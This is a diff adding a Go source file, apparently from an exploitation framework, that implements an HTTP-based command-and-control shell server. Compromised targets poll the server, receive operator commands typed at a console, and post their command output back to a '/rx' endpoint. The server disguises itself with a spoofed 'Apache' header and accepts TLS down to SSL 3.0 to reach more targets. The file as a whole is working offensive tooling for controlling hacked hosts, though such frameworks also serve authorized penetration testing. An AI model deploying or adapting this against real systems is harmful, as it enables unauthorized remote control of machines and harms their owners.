|
| 1 | +package httpshellserver |
| 2 | + |
| 3 | +import ( |
| 4 | + "bufio" |
| 5 | + "crypto/tls" |
| 6 | + "flag" |
| 7 | + "fmt" |
| 8 | + "io" |
| 9 | + "net/http" |
| 10 | + "os" |
| 11 | + "strings" |
| 12 | + "sync" |
| 13 | + "time" |
| 14 | + |
| 15 | + "github.com/vulncheck-oss/go-exploit/c2/channel" |
| 16 | + "github.com/vulncheck-oss/go-exploit/encryption" |
| 17 | + "github.com/vulncheck-oss/go-exploit/output" |
| 18 | +) |
| 19 | + |
| 20 | +var ( |
| 21 | + singleton *Server |
| 22 | + cliLock sync.Mutex |
| 23 | + commandChan = make(chan string) |
| 24 | + lastSeen time.Time |
| 25 | +) |
| 26 | + |
| 27 | +type Server struct { |
| 28 | + // The HTTP address to bind to |
| 29 | + HTTPAddr string |
| 30 | + // The HTTP port to bind to |
| 31 | + HTTPPort int |
| 32 | + // Set to the Server field in HTTP response |
| 33 | + ServerField string |
| 34 | + // Indicates if TLS should be enabled |
| 35 | + TLS bool |
| 36 | + // The file path to the user provided private key (if provided) |
| 37 | + PrivateKeyFile string |
| 38 | + // The file path to the user provided certificate (if provided) |
| 39 | + CertificateFile string |
| 40 | + // Loaded certificate |
| 41 | + Certificate tls.Certificate |
| 42 | + // Allows us to track if a connection has been received during the life of the server |
| 43 | + Success bool |
| 44 | +} |
| 45 | + |
| 46 | +// A basic singleton interface for the c2. |
| 47 | +func GetInstance() *Server { |
| 48 | + if singleton == nil { |
| 49 | + singleton = new(Server) |
| 50 | + } |
| 51 | + |
| 52 | + return singleton |
| 53 | +} |
| 54 | + |
| 55 | +func (httpServer *Server) Init(channel channel.Channel) bool { |
| 56 | + if channel.IsClient { |
| 57 | + output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.") |
| 58 | + |
| 59 | + return false |
| 60 | + } |
| 61 | + |
| 62 | + switch { |
| 63 | + case channel.Port != 0: |
| 64 | + httpServer.HTTPAddr = channel.IPAddr |
| 65 | + httpServer.HTTPPort = channel.Port |
| 66 | + default: |
| 67 | + output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.") |
| 68 | + |
| 69 | + return false |
| 70 | + } |
| 71 | + |
| 72 | + if httpServer.TLS { |
| 73 | + var ok bool |
| 74 | + var err error |
| 75 | + if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 { |
| 76 | + httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile) |
| 77 | + if err != nil { |
| 78 | + output.PrintfFrameworkError("Error loading certificate: %s", err.Error()) |
| 79 | + |
| 80 | + return false |
| 81 | + } |
| 82 | + } else { |
| 83 | + output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate") |
| 84 | + httpServer.Certificate, ok = encryption.GenerateCertificate() |
| 85 | + if !ok { |
| 86 | + return false |
| 87 | + } |
| 88 | + } |
| 89 | + } |
| 90 | + |
| 91 | + return true |
| 92 | +} |
| 93 | + |
| 94 | +// User options for serving a file over HTTP as the "c2". |
| 95 | +func (httpServer *Server) CreateFlags() { |
| 96 | + flag.StringVar(&httpServer.ServerField, "httpShellServer.ServerField", "Apache", "The value to insert in the HTTP server field") |
| 97 | + flag.BoolVar(&httpServer.TLS, "httpShellServer.TLS", false, "Indicates if the HTTP server should use encryption") |
| 98 | + flag.StringVar(&httpServer.PrivateKeyFile, "httpShellServer.PrivateKeyFile", "", "A private key to use with the HTTPS server") |
| 99 | + flag.StringVar(&httpServer.CertificateFile, "httpShellServer.CertificateFile", "", "The certificate to use with the HTTPS server") |
| 100 | +} |
| 101 | + |
| 102 | +// start the HTTP server and listen for incoming requests for `httpServer.FileName`. |
| 103 | +// |
| 104 | +//nolint:gocognit |
| 105 | +func (httpServer *Server) Run(timeout int) { |
| 106 | + http.HandleFunc("/rx", func(_ http.ResponseWriter, req *http.Request) { |
| 107 | + body, _ := io.ReadAll(req.Body) |
| 108 | + if strings.TrimSpace(string(body)) != "" { |
| 109 | + fmt.Printf("\n%s: %s\n", req.RemoteAddr, string(body)) |
| 110 | + } |
| 111 | + }) |
| 112 | + |
| 113 | + http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) { |
| 114 | + lastSeen = time.Now() |
| 115 | + writer.Header().Set("Server", httpServer.ServerField) |
| 116 | + |
| 117 | + if !httpServer.Success { |
| 118 | + go func() { |
| 119 | + httpServer.Success = true |
| 120 | + output.PrintfSuccess("Received initial connection from %s, entering shell", req.RemoteAddr) |
| 121 | + cliLock.Lock() |
| 122 | + defer cliLock.Unlock() |
| 123 | + for { |
| 124 | + elapsed := time.Since(lastSeen) |
| 125 | + if elapsed/time.Millisecond > 10000 { |
| 126 | + fmt.Printf("last seen: %ds> ", time.Since(lastSeen)/time.Second) |
| 127 | + } else { |
| 128 | + fmt.Printf("last seen: %dms> ", time.Since(lastSeen)/time.Millisecond) |
| 129 | + } |
| 130 | + reader := bufio.NewReader(os.Stdin) |
| 131 | + command, _ := reader.ReadString('\n') |
| 132 | + trimmedCommand := strings.TrimSpace(command) |
| 133 | + if trimmedCommand == "help" { |
| 134 | + fmt.Printf("Usage:\nType a command and it will be added to the queue to be distributed to the first connection\ntype exit to shut everything down.\n") |
| 135 | + |
| 136 | + continue |
| 137 | + } |
| 138 | + if trimmedCommand == "exit" { |
| 139 | + output.PrintStatus("Exit received, shutting down") |
| 140 | + |
| 141 | + os.Exit(0) |
| 142 | + } |
| 143 | + if strings.TrimSpace(command) != "" { |
| 144 | + commandChan <- strings.TrimSpace(command) |
| 145 | + } |
| 146 | + } |
| 147 | + }() |
| 148 | + } |
| 149 | + |
| 150 | + select { |
| 151 | + case command := <-commandChan: |
| 152 | + writer.WriteHeader(http.StatusOK) |
| 153 | + fmt.Fprint(writer, command) |
| 154 | + default: |
| 155 | + writer.WriteHeader(http.StatusOK) |
| 156 | + } |
| 157 | + }) |
| 158 | + |
| 159 | + connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort) |
| 160 | + go func() { |
| 161 | + if httpServer.TLS { |
| 162 | + output.PrintfFrameworkStatus("Starting an HTTPS server on %s...", connectionString) |
| 163 | + tlsConfig := &tls.Config{ |
| 164 | + Certificates: []tls.Certificate{httpServer.Certificate}, |
| 165 | + // We have no control over the SSL versions supported on the remote target. Be permissive for more targets. |
| 166 | + //nolint |
| 167 | + MinVersion: tls.VersionSSL30, |
| 168 | + } |
| 169 | + server := http.Server{ |
| 170 | + Addr: connectionString, |
| 171 | + TLSConfig: tlsConfig, |
| 172 | + // required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2 |
| 173 | + TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1), |
| 174 | + } |
| 175 | + defer server.Close() |
| 176 | + _ = server.ListenAndServeTLS("", "") |
| 177 | + } else { |
| 178 | + output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString) |
| 179 | + _ = http.ListenAndServe(connectionString, nil) |
| 180 | + } |
| 181 | + }() |
| 182 | + |
| 183 | + // let the server run for timeout seconds |
| 184 | + time.Sleep(time.Duration(timeout) * time.Second) |
| 185 | + |
| 186 | + // We don't actually clean up anything, but exiting c2 will eventually terminate the program |
| 187 | + output.PrintFrameworkStatus("Shutting down the HTTP Shell Server") |
| 188 | +} |
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